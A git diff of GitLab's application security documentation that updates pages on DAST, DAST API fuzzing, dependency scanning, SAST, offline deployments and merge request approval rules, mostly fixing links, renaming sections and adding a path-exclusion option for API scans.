+- XPath searches as they are less performant than other selector searches.
+- Unscoped searches, such as those beginning with `css:*` and `xpath://*`.
### DAST command-line options
@@ -783,7 +863,7 @@ variables:
### Cloning the project's repository
The DAST job does not require the project's repository to be present when running, so by default
-[`GIT_STRATEGY`](../../../ci/runners/README.md#git-strategy) is set to `none`.
+[`GIT_STRATEGY`](../../../ci/runners/configure_runners.md#git-strategy) is set to `none`.
### Debugging DAST jobs
@@ -819,7 +899,7 @@ successfully run. For more information, see [Offline environments](../offline_de
To use DAST in an offline environment, you need:
-- GitLab Runner with the [`docker` or `kubernetes` executor](#prerequisite).
+- GitLab Runner with the [`docker` or `kubernetes` executor](#prerequisites).
- Docker Container Registry with a locally available copy of the DAST
[container image](https://gitlab.com/gitlab-org/security-products/dast), found in the
[DAST container registry](https://gitlab.com/gitlab-org/security-products/dast/container_registry).
@@ -993,7 +1073,7 @@ A site profile contains the following:
- **Target URL**: The URL that DAST runs against.
- **Excluded URLs**: A comma-separated list of URLs to exclude from the scan.
- **Request headers**: A comma-separated list of HTTP request headers, including names and values. These headers are added to every request made by DAST.
-- **Authentication**:
+- **Authentication**:
- **Authenticated URL**: The URL of the page containing the sign-in HTML form on the target website. The username and password are submitted with the login form to create an authenticated scan.
- **Username**: The username used to authenticate to the website.
- **Password**: The password used to authenticate to the website.
@@ -1217,11 +1297,6 @@ The DAST tool always emits a JSON report file called `gl-dast-report.json` and
sample reports can be found in the
[DAST repository](https://gitlab.com/gitlab-org/security-products/dast/-/tree/master/test/end-to-end/expect).
-There are two formats of data in the JSON report that are used side by side:
-
-- The proprietary ZAP format, which is planned to be deprecated.
-- A common format that is planned to the default in the future.
-
### Other formats
Reports can also be generated in Markdown, HTML, and XML. These can be published as artifacts using the following configuration:
diff --git a/doc/user/application_security/dast_api/index.md b/doc/user/application_security/dast_api/index.md
index 5e47f545ef9..9a6e1e73330 100644
--- a/doc/user/application_security/dast_api/index.md
+++ b/doc/user/application_security/dast_api/index.md
@@ -59,6 +59,7 @@ Examples of various configurations can be found here:
- [Example HTTP Archive (HAR) project](https://gitlab.com/gitlab-org/security-products/demos/api-dast/har-example)
- [Example Postman Collection project](https://gitlab.com/gitlab-org/security-products/demos/api-dast/postman-example)
- [Example GraphQL project](https://gitlab.com/gitlab-org/security-products/demos/api-dast/graphql-example)
+- [Example SOAP project](https://gitlab.com/gitlab-org/security-products/demos/api-dast/soap-example)
WARNING:
GitLab 14.0 will require that you place DAST API configuration files (for example,
@@ -71,8 +72,8 @@ starting in GitLab 14.0, GitLab will not check your repository's root for config
> Support for OpenAPI Specification using YAML format was
> [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330583) in GitLab 14.0.
-The [OpenAPI Specification](https://www.openapis.org/) (formerly the Swagger Specification) is an API description format for REST APIs.
-This section shows you how to configure API fuzzing using an OpenAPI Specification to provide information about the target API to test.
+The [OpenAPI Specification](https://www.openapis.org/) (formerly the Swagger Specification) is an API description format for REST APIs.
+This section shows you how to configure API fuzzing using an OpenAPI Specification to provide information about the target API to test.
OpenAPI Specifications are provided as a file system resource or URL. Both JSON and YAML OpenAPI formats are supported.
DAST API uses an OpenAPI document to generate the request body. When a request body is required,
@@ -85,7 +86,7 @@ the body generation is limited to these body types:
Follow these steps to configure DAST API in GitLab with an OpenAPI specification:
1. To use DAST API, you must [include](../../../ci/yaml/README.md#includetemplate)
- the [`DAST-API.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml)
+ the [`DAST-API.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml)
that's provided as part of your GitLab installation. Add the following to your
`.gitlab-ci.yml` file:
@@ -136,7 +137,7 @@ Follow these steps to configure DAST API in GitLab with an OpenAPI specification
dynamic environments. To run DAST API against an app dynamically created during a GitLab CI/CD
pipeline, have the app persist its URL in an `environment_url.txt` file. DAST API
automatically parses that file to find its scan target. You can see an
- [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml).
+ [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml).
Here's an example of using `DAST_API_TARGET_URL`:
@@ -184,7 +185,7 @@ Follow these steps to configure DAST API to use a HAR file that provides informa
target API to test:
1. To use DAST API, you must [include](../../../ci/yaml/README.md#includetemplate)
- the [`DAST-API.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml)
+ the [`DAST-API.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml)
that's provided as part of your GitLab installation. To do so, add the following to your
`.gitlab-ci.yml` file:
@@ -235,7 +236,7 @@ target API to test:
dynamic environments. To run DAST API against an app dynamically created during a GitLab CI/CD
pipeline, have the app persist its URL in an `environment_url.txt` file. DAST API
automatically parses that file to find its scan target. You can see an
- [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml).
+ [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml).
Here's an example of using `DAST_API_TARGET_URL`:
@@ -284,7 +285,7 @@ Follow these steps to configure DAST API to use a Postman Collection file that p
information about the target API to test:
1. To use DAST API, you must [include](../../../ci/yaml/README.md#includetemplate)
- the [`DAST-API.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml)
+ the [`DAST-API.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml)
that's provided as part of your GitLab installation. To do so, add the following to your
`.gitlab-ci.yml` file:
@@ -334,7 +335,7 @@ information about the target API to test:
dynamic environments. To run DAST API against an app dynamically created during a GitLab CI/CD
pipeline, have the app persist its URL in an `environment_url.txt` file. DAST API
automatically parses that file to find its scan target. You can see an
- [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml).
+ [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml).
Here's an example of using `DAST_API_TARGET_URL`:
@@ -634,6 +635,7 @@ can be added, removed, and modified by creating a custom configuration.
| `DAST_API_TARGET_URL` | Base URL of API testing target. |
|[`DAST_API_CONFIG`](#configuration-files) | DAST API configuration file. Defaults to `.gitlab-dast-api.yml`. |
|[`DAST_API_PROFILE`](#configuration-files) | Configuration profile to use during testing. Defaults to `Quick`. |
+|[`FUZZAPI_EXCLUDE_PATHS`](#exclude-paths) | Exclude API URL paths from testing. |
|[`DAST_API_OPENAPI`](#openapi-specification) | OpenAPI specification file or URL. |
|[`DAST_API_HAR`](#http-archive-har) | HTTP Archive (HAR) file. |
|[`DAST_API_POSTMAN_COLLECTION`](#postman-collection) | Postman Collection file. |
@@ -847,7 +849,7 @@ variables:
```
In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a
-[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-cicd-variables):
+[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#add-a-cicd-variable-to-an-instance):
```yaml
stages:
@@ -893,6 +895,47 @@ variables:
DAST_API_OVERRIDES_INTERVAL: 300
```
+### Exclude Paths
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211892) in GitLab 14.0.
+
+When testing an API it can be useful to exclude certain paths. For example, you might exclude testing of an authentication service or an older version of the API. To exclude paths, use the `FUZZAPI_EXCLUDE_PATHS` CI/CD variable . This variable is specified in your `.gitlab-ci.yml` file. To exclude multiple paths, separate entries using the `;` character. In the provided paths you can use a single character wildcard `?` and `*` for a multiple character wildcard.
+
+To verify the paths are excluded, review the `Tested Operations` and `Excluded Operations` portion of the job output. You should not see any excluded paths listed under `Tested Operations`.
+
+```plaintext
+2021-05-27 21:51:08 [INF] API Security: --[ Tested Operations ]-------------------------
+2021-05-27 21:51:08 [INF] API Security: 201 POST http://target:7777/api/users CREATED
+2021-05-27 21:51:08 [INF] API Security: ------------------------------------------------
+2021-05-27 21:51:08 [INF] API Security: --[ Excluded Operations ]-----------------------
+2021-05-27 21:51:08 [INF] API Security: GET http://target:7777/api/messages
+2021-05-27 21:51:08 [INF] API Security: POST http://target:7777/api/messages
+2021-05-27 21:51:08 [INF] API Security: ------------------------------------------------
+```
+
+#### Examples
+
+This example excludes the `/auth` resource. This does not exclude child resources (`/auth/child`).
+
+```yaml
+variables:
+ DAST_API_EXCLUDE_PATHS=/auth
+```
+
+To exclude `/auth`, and child resources (`/auth/child`), we use a wildcard.
+
+```yaml
+variables:
+ DAST_API_EXCLUDE_PATHS=/auth*
+```
+
+To exclude multiple paths we use the `;` character. In this example we exclude `/auth*` and `/v1/*`.
+
+```yaml
+variables:
+ DAST_API_EXCLUDE_PATHS=/auth*;/v1/*
+```
+
## Running your first scan
When configured correctly, a CI/CD pipeline contains a `dast` stage and an `dast_api` job. The job only fails when an invalid configuration is provided. During normal operation, the job always succeeds even if vulnerabilities are identified during testing.
@@ -1076,7 +1119,7 @@ The DAST API engine outputs an error message when it cannot establish a connecti
**Solution**
- Remove the `DAST_API_API` variable from the `.gitlab-ci.yml` file. The value will be inherited from the DAST API CI/CD template. We recommend this method instead of manually setting a value.
-- If removing the variable is not possible, check to see if this value has changed in the latest version of the [DAST API CI/CD template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml). If so, update the value in the `.gitlab-ci.yml` file.
+- If removing the variable is not possible, check to see if this value has changed in the latest version of the [DAST API CI/CD template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml). If so, update the value in the `.gitlab-ci.yml` file.
### Application cannot determine the base URL for the target API
@@ -1088,7 +1131,7 @@ The best-suited solution will depend on whether or not your target API changes f
#### Static environment solution
-This solution is for pipelines in which the target API URL doesn't change (is static).
+This solution is for pipelines in which the target API URL doesn't change (is static).
**Add environmental variable**
@@ -1105,7 +1148,7 @@ include:
#### Dynamic environment solutions
-In a dynamic environment your target API changes for each different deployment. In this case, there is more than one possible solution, we recommend you use the `environment_url.txt` file when dealing with dynamic environments.
+In a dynamic environment your target API changes for each different deployment. In this case, there is more than one possible solution, we recommend you use the `environment_url.txt` file when dealing with dynamic environments.
**Use environment_url.txt**
diff --git a/doc/user/application_security/dependency_scanning/analyzers.md b/doc/user/application_security/dependency_scanning/analyzers.md
index 0faa33e0123..fae0f457a20 100644
--- a/doc/user/application_security/dependency_scanning/analyzers.md
+++ b/doc/user/application_security/dependency_scanning/analyzers.md
@@ -80,7 +80,7 @@ include:
template: Dependency-Scanning.gitlab-ci.yml
variables:
- DS_EXCLUDED_ANALYZERS: "gemnasium, gemansium-maven, gemnasium-python, bundler-audit, retire.js"
+ DS_EXCLUDED_ANALYZERS: "gemnasium, gemnasium-maven, gemnasium-python, bundler-audit, retire.js"
```
This is used when one totally relies on [custom analyzers](#custom-analyzers).
diff --git a/doc/user/application_security/dependency_scanning/index.md b/doc/user/application_security/dependency_scanning/index.md
index 8e23db89dfd..96fc085e7c6 100644
--- a/doc/user/application_security/dependency_scanning/index.md
+++ b/doc/user/application_security/dependency_scanning/index.md
@@ -91,7 +91,7 @@ The [Security Scanner Integration](../../../development/integrations/secure.md)
To enable dependency scanning for GitLab 11.9 and later, you must
[include](../../../ci/yaml/README.md#includetemplate) the
-[`Dependency-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml)
+[`Dependency-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml)
that is provided as a part of your GitLab installation.
For GitLab versions earlier than 11.9, you can copy and use the job as defined
that template.
@@ -112,7 +112,7 @@ always take the latest dependency scanning artifact available.
### Customizing the dependency scanning settings
-The dependency scanning settings can be changed through [CI/CD variables](#available-variables) by using the
+The dependency scanning settings can be changed through [CI/CD variables](#available-cicd-variables) by using the
[`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`.
For example:
@@ -157,7 +157,7 @@ gemnasium-dependency_scanning:
dependencies: ["build"]
```
-### Available variables
+### Available CI/CD variables
Dependency scanning can be [configured](#customizing-the-dependency-scanning-settings)
using environment variables.
@@ -189,7 +189,7 @@ The following variables are used for configuring specific analyzers (used for a
| `GEMNASIUM_DB_REMOTE_URL` | `gemnasium` | `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git` | Repository URL for fetching the Gemnasium database. |
| `GEMNASIUM_DB_REF_NAME` | `gemnasium` | `master` | Branch name for remote repository database. `GEMNASIUM_DB_REMOTE_URL` is required. |
| `DS_REMEDIATE` | `gemnasium` | `"true"` | Enable automatic remediation of vulnerable dependencies. |
-| `DS_JAVA_VERSION` | `gemnasium-maven` | `11` | Version of Java. Available versions: `8`, `11`, `13`, `14`, `15`. Maven and Gradle use the Java version specified by this value. |
+| `DS_JAVA_VERSION` | `gemnasium-maven` | `11` | Version of Java. Available versions: `8`, `11`, `13`, `14`, `15`, `16`. Maven and Gradle use the Java version specified by this value (Dependency Scanning for Gradle does not currently support Java `16`). |
| `MAVEN_CLI_OPTS` | `gemnasium-maven` | `"-DskipTests --batch-mode"` | List of command line arguments that are passed to `maven` by the analyzer. See an example for [using private repositories](../index.md#using-private-maven-repositories). |
| `GRADLE_CLI_OPTS` | `gemnasium-maven` | | List of command line arguments that are passed to `gradle` by the analyzer. |
| `SBT_CLI_OPTS` | `gemnasium-maven` | | List of command-line arguments that the analyzer passes to `sbt`. |
@@ -231,11 +231,11 @@ Read more on [how to use private Maven repositories](../index.md#using-private-m
Once a vulnerability is found, you can interact with it. Read more on how to
[address the vulnerabilities](../vulnerabilities/index.md).
-## Solutions for vulnerabilities (auto-remediation)
+## Solutions for vulnerabilities
Some vulnerabilities can be fixed by applying the solution that GitLab
automatically generates. Read more about the
-[solutions for vulnerabilities](../vulnerabilities/index.md#remediate-a-vulnerability-automatically).
+[solutions for vulnerabilities](../vulnerabilities/index.md#resolve-a-vulnerability).
## Security Dashboard
diff --git a/doc/user/application_security/img/unconfigured_security_approval_rules_and_enabled_jobs_v13_4.png b/doc/user/application_security/img/unconfigured_security_approval_rules_and_enabled_jobs_v13_4.png
deleted file mode 100644
index 7b04988afdb..00000000000
--- a/doc/user/application_security/img/unconfigured_security_approval_rules_and_enabled_jobs_v13_4.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/img/unconfigured_security_approval_rules_and_jobs_v13_4.png b/doc/user/application_security/img/unconfigured_security_approval_rules_and_jobs_v13_4.png
deleted file mode 100644
index b9b6dd13294..00000000000
--- a/doc/user/application_security/img/unconfigured_security_approval_rules_and_jobs_v13_4.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/index.md b/doc/user/application_security/index.md
index 82a018c0ae9..bf812b25b5f 100644
--- a/doc/user/application_security/index.md
+++ b/doc/user/application_security/index.md
@@ -1,11 +1,11 @@
---
-stage: secure
-group: secure
+stage: Secure
+group: Static Analysis
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
-# Application security **(ULTIMATE)**
+# Secure your application **(ULTIMATE)**
GitLab can check your application for security vulnerabilities including:
@@ -92,7 +92,9 @@ For more details about each of the security scanning tools, see their respective
By default, GitLab security scanners use `registry.gitlab.com/gitlab-org/security-products/analyzers` as the
base address for Docker images. You can override this globally by setting the CI/CD variable
-`SECURE_ANALYZERS_PREFIX` to another location. Note that this affects all scanners at once.
+`SECURE_ANALYZERS_PREFIX` to another location. Note that this affects all scanners at once, except
+the container-scanning analyzer which uses
+`registry.gitlab.com/security-products/container-scanning` as its registry.
### Use security scanning tools with Pipelines for Merge Requests
@@ -182,84 +184,51 @@ By default, the vulnerability report does not show vulnerabilities of `dismissed
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9928) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.2.
-Merge Request Approvals can be configured to require approval from a member of your
-security team when a merge request would introduce one of the following security issues:
+You can implement merge request approvals to require approval by selected users or a group when a
+merge request would introduce one of the following security issues:
- A security vulnerability
- A software license compliance violation
-The security vulnerability threshold is defined as `high`, `critical`, or `unknown` severity. The
-`Vulnerability-Check` approver group must approve merge requests that contain vulnerabilities.
+When the Vulnerability-Check merge request rule is enabled, additional merge request approval
+is required when the latest security report in a merge request:
-When GitLab can assess vulnerability severity, the rating can be one of the following:
-
-- `unknown`
-- `low`
-- `medium`
-- `high`
-- `critical`
+- Contains a vulnerability of `high`, `critical`, or `unknown` severity that is not present in the
+ target branch. Note that approval is still required for dismissed vulnerabilities.
+- Is not generated during pipeline execution.
-The rating `unknown` indicates that the underlying scanner doesn't contain or provide a severity
-rating.
+An approval is optional when the security report:
-### Enabling Security Approvals within a project
+- Contains no new vulnerabilities when compared to the target branch.
+- Contains only new vulnerabilities of `low` or `medium` severity.
-To enable the `Vulnerability-Check` or `License-Check` Security Approvals, a [project approval rule](../project/merge_requests/approvals/rules.md#add-an-approval-rule)
-must be created. A [security scanner job](#security-scanning-tools) must be enabled for
-`Vulnerability-Check`, and a [license scanning](../compliance/license_compliance/index.md#configuration)
-job must be enabled for `License-Check`. When the proper jobs aren't configured, the following
-appears:
+When the License-Check merge request rule is enabled, additional approval is required if a merge
+request contains a denied license. For more details, see [Enabling license approvals within a project](../compliance/license_compliance/index.md#enabling-license-approvals-within-a-project).
-![Un-configured Approval Rules](img/unconfigured_security_approval_rules_and_jobs_v13_4.png)
+### Enable the Vulnerability-Check rule
-If at least one security scanner is enabled, you can enable the `Vulnerability-Check` approval rule. If a license scanning job is enabled, you can enable the `License-Check` rule.
+Prerequisites:
-![Un-configured Approval Rules with valid pipeline jobs](img/unconfigured_security_approval_rules_and_enabled_jobs_v13_4.png)
+- At least one [security scanner job](#security-scanning-tools) must be enabled.
+- Maintainer or Owner [role](../permissions.md#project-members-permissions).
-For this approval group, you must set the number of approvals required to greater than zero. You
-must have Maintainer or Owner [permissions](../permissions.md#project-members-permissions)
-to manage approval rules.
+For this approval group, you must set the number of approvals required to greater than zero.
Follow these steps to enable `Vulnerability-Check`:
-1. Navigate to your project's **Settings > General** and expand **Merge request approvals**.
-1. Click **Enable**, or **Edit**.
+1. Go to your project and select **Settings > General**.
+1. Expand **Merge request approvals**.
+1. Select **Enable** or **Edit**.
1. Add or change the **Rule name** to `Vulnerability-Check` (case sensitive).
-
-![Vulnerability Check Approver Rule](img/vulnerability-check_v13_4.png)
+1. Set the **No. of approvals required** to greater than zero.
+1. Select the **Target branch**.
+1. Select the users or groups to provide approval.
+1. Select **Add approval rule**.
Once this group is added to your project, the approval rule is enabled for all merge requests.
-
Any code changes cause the approvals required to reset.
-An approval is required when the latest security report in a merge request:
-
-- Contains a vulnerability of `high`, `critical`, or `unknown` severity that is not present in the
- target branch. Note that approval is still required for dismissed vulnerabilities.
-- Is not generated during pipeline execution.
-
-An approval is optional when the security report:
-
-- Contains no new vulnerabilities when compared to the target branch.
-- Contains only new vulnerabilities of `low` or `medium` severity.
-
-### Enabling License Approvals within a project
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13067) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.3.
-
-`License-Check` is a [security approval rule](#enabling-security-approvals-within-a-project)
-you can enable to allow an individual or group to approve a merge request that contains a `denied`
-license. For instructions on enabling this rule, see
-[Enabling license approvals within a project](../compliance/license_compliance/index.md#enabling-license-approvals-within-a-project).
-
-## Working in an offline environment
-
-It is possible to run most of the GitLab security scanners when not
-connected to the internet, in what is sometimes known as an offline,
-limited connectivity, Local Area Network (LAN), Intranet, or "air-gap"
-environment.
-
-Read how to [operate the Secure scanners in an offline environment](offline_deployments/index.md).
+![Vulnerability Check Approver Rule](img/vulnerability-check_v13_4.png)
## Using private Maven repositories
@@ -290,47 +259,22 @@ under your project's settings:
</settings>
```
-## Outdated security reports
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4913) in GitLab 12.7.
-
-When a security report generated for a merge request becomes outdated, the merge request shows a warning
-message in the security widget and prompts you to take an appropriate action.
-
-This can happen in two scenarios:
-
-1. Your [source branch is behind the target branch](#source-branch-is-behind-the-target-branch).
-1. The [target branch security report is out of date](#target-branch-security-report-is-out-of-date).
-
-### Source branch is behind the target branch
-
-This means the most recent common ancestor commit between the target branch and the source branch is
-not the most recent commit on the target branch. This is by far the most common situation.
-
-In this case you must rebase or merge to incorporate the changes from the target branch.
-
-![Incorporate target branch changes](img/outdated_report_branch_v12_9.png)
-
-### Target branch security report is out of date
-
-This can happen for many reasons, including failed jobs or new advisories. When the merge request shows that a
-security report is out of date, you must run a new pipeline on the target branch.
-You can do it quickly by following the hyperlink given to run a new pipeline.
-
-![Run a new pipeline](img/outdated_report_pipeline_v12_9.png)
-
## DAST On-Demand Scans
If you don’t want scans running in your normal DevOps process you can use on-demand scans instead. For more details, see [on-demand scans](dast/index.md#on-demand-scans). This feature is only available for DAST. If you run an on-demand scan against the default branch, it is reported as a "successful pipeline" and these results are included in the security dashboard and vulnerability report.
## Security report validation
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321918) in GitLab 13.11.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321918) in GitLab 13.11.
+> - Schema validation message [added](https://gitlab.com/gitlab-org/gitlab/-/issues/321730) in GitLab 14.0.
-As of GitLab 13.11, we've introduced the **optional** validation of the security report artifacts based on the
+You can optionally enable validation of the security report artifacts based on the
[report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/tree/master/dist).
If you enable validation, GitLab validates the report artifacts before ingesting the vulnerabilities.
-This prevents ingesting broken vulnerability data into the database.
+This prevents ingestion of broken vulnerability data into the database.
+
+In GitLab 14.0 and later, the pipeline's **Security** tab lists any report artifacts
+that failed validation. Security report validation must first be enabled.
### Enable security report validation
@@ -381,14 +325,41 @@ For more details about which findings or vulnerabilities you can view in each of
- Change the status.
- Create an issue.
- Link it to an existing issue.
-- In some cases, [apply an automatic remediation for a vulnerability](vulnerabilities/index.md#remediate-a-vulnerability-automatically).
+- [Resolve the vulnerability](vulnerabilities/index.md#resolve-a-vulnerability), if a solution is known.
## Troubleshooting
+### Outdated security reports
+
+When a security report generated for a merge request becomes outdated, the merge request shows a warning
+message in the security widget and prompts you to take an appropriate action.
+
+This can happen in two scenarios:
+
+- Your [source branch is behind the target branch](#source-branch-is-behind-the-target-branch).
+- The [target branch security report is out of date](#target-branch-security-report-is-out-of-date).
+
+#### Source branch is behind the target branch
+
+This means the most recent common ancestor commit between the target branch and the source branch is
+not the most recent commit on the target branch. This is by far the most common situation.
+
+In this case you must rebase or merge to incorporate the changes from the target branch.
+
+![Incorporate target branch changes](img/outdated_report_branch_v12_9.png)
+
+#### Target branch security report is out of date
+
+This can happen for many reasons, including failed jobs or new advisories. When the merge request shows that a
+security report is out of date, you must run a new pipeline on the target branch.
+You can do it quickly by following the hyperlink given to run a new pipeline.
+
+![Run a new pipeline](img/outdated_report_pipeline_v12_9.png)
+
### Getting error message `sast job: stage parameter should be [some stage name here]`
When [including](../../ci/yaml/README.md#includetemplate) a `.gitlab-ci.yml` template
-like [`SAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml),
+like [`SAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml),
the following error may occur, depending on your GitLab CI/CD configuration:
```plaintext
@@ -441,7 +412,7 @@ This provides useful information to investigate further.
### Getting error message `sast job: config key may not be used with 'rules': only/except`
When [including](../../ci/yaml/README.md#includetemplate) a `.gitlab-ci.yml` template
-like [`SAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml),
+like [`SAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml),
the following error may occur, depending on your GitLab CI/CD configuration:
```plaintext
diff --git a/doc/user/application_security/offline_deployments/index.md b/doc/user/application_security/offline_deployments/index.md
index c9c65e94b32..77a15a37c55 100644
--- a/doc/user/application_security/offline_deployments/index.md
+++ b/doc/user/application_security/offline_deployments/index.md
@@ -5,7 +5,7 @@ group: Static Analysis
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Offline environments
+# Offline environments **(ULTIMATE SELF)**
It's possible to run most of the GitLab security scanners when not connected to the internet.
@@ -64,9 +64,9 @@ Once a vulnerability is found, you can interact with it. Read more on how to
Please note that in some cases the reported vulnerabilities provide metadata that can contain
external links exposed in the UI. These links might not be accessible within an offline environment.
-### Automatic remediation for vulnerabilities
+### Resolving vulnerabilities
-The [automatic remediation for vulnerabilities](../vulnerabilities/index.md#remediate-a-vulnerability-automatically) feature is available for offline Dependency Scanning and Container Scanning, but may not work
+The [resolving vulnerabilities](../vulnerabilities/index.md#resolve-a-vulnerability) feature is available for offline Dependency Scanning and Container Scanning, but may not work
depending on your instance's configuration. We can only suggest solutions, which are generally more
current versions that have been patched, when we are able to access up-to-date registry services
hosting the latest versions of that dependency or image.
@@ -93,8 +93,7 @@ above. You can find more information at each of the pages below:
## Loading Docker images onto your offline host
-To use many GitLab features, including
-[security scans](../index.md#working-in-an-offline-environment)
+To use many GitLab features, including security scans
and [Auto DevOps](../../../topics/autodevops/index.md), the runner must be able to fetch the
relevant Docker images.
@@ -129,6 +128,10 @@ This method requires a runner with access to both `gitlab.com` (including
to be able to use the `docker` command inside the jobs. This runner can be installed in a DMZ or on
a bastion, and used only for this specific project.
+WARNING:
+This template does not include updates for the container scanning analyzer. Please see
+[Container scanning offline directions](../container_scanning/index.md#running-container-scanning-in-an-offline-environment).
+
#### Scheduling the updates
By default, this project's pipeline runs only once, when the `.gitlab-ci.yml` is added to the
@@ -136,12 +139,6 @@ repository. To update the GitLab security scanners and signatures, it's necessar
regularly. GitLab provides a way to [schedule pipelines](../../../ci/pipelines/schedules.md). For
example, you can set this up to download and store the Docker images every week.
-Some images can be updated more frequently than others. For example, the [vulnerability database](https://hub.docker.com/r/arminc/clair-db/tags)
-for Container Scanning is updated daily. To update this single image, create a new Scheduled
-Pipeline that runs daily and set `SECURE_BINARIES_ANALYZERS` to `clair-vulnerabilities-db`. Only
-this job is triggered, and the image is updated daily and made available in the project
-registry.
-
#### Using the secure bundle created
The project using the `Secure-Binaries.gitlab-ci.yml` template should now host all the required
diff --git a/doc/user/application_security/sast/analyzers.md b/doc/user/application_security/sast/analyzers.md
index 0e69f3b68eb..661a4ee8e82 100644
--- a/doc/user/application_security/sast/analyzers.md
+++ b/doc/user/application_security/sast/analyzers.md
@@ -48,7 +48,7 @@ GitLab, but users can also integrate their own **custom images**.
For an analyzer to be considered Generally Available, it is expected to minimally
support the following features:
-- [Customizable configuration](index.md#available-variables)
+- [Customizable configuration](index.md#available-cicd-variables)
- [Customizable rulesets](index.md#customize-rulesets)
- [Scan projects](index.md#supported-languages-and-frameworks)
- [Multi-project support](index.md#multi-project-support)
@@ -80,27 +80,6 @@ variables:
This configuration requires that your custom registry provides images for all
the official analyzers.
-### Selecting specific analyzers
-
-WARNING:
-`SAST_DEFAULT_ANALYZERS` is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50872) in GitLab 13.8,
-and is scheduled for [removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/290777).
-
-You can select the official analyzers you want to run. Here's how to enable
-`bandit` and `flawfinder` while disabling all the other default ones.
-In `.gitlab-ci.yml` define:
-
-```yaml
-include:
- - template: Security/SAST.gitlab-ci.yml
-
-variables:
- SAST_DEFAULT_ANALYZERS: "bandit,flawfinder"
-```
-
-`bandit` runs first. When merging the reports, SAST
-removes the duplicates and keeps the `bandit` entries.
-
### Disabling all default analyzers
Setting `SAST_DISABLED` to `true` disables all the official
diff --git a/doc/user/application_security/sast/index.md b/doc/user/application_security/sast/index.md
index 886726d5d67..c11e367a688 100644
--- a/doc/user/application_security/sast/index.md
+++ b/doc/user/application_security/sast/index.md
@@ -161,7 +161,7 @@ To configure SAST for a project you can:
### Configure SAST manually
For GitLab 11.9 and later, to enable SAST you must [include](../../../ci/yaml/README.md#includetemplate)
-the [`SAST.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml)
+the [`SAST.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml)
provided as a part of your GitLab installation. For GitLab versions earlier than 11.9, you
can copy and use the job as defined that template.
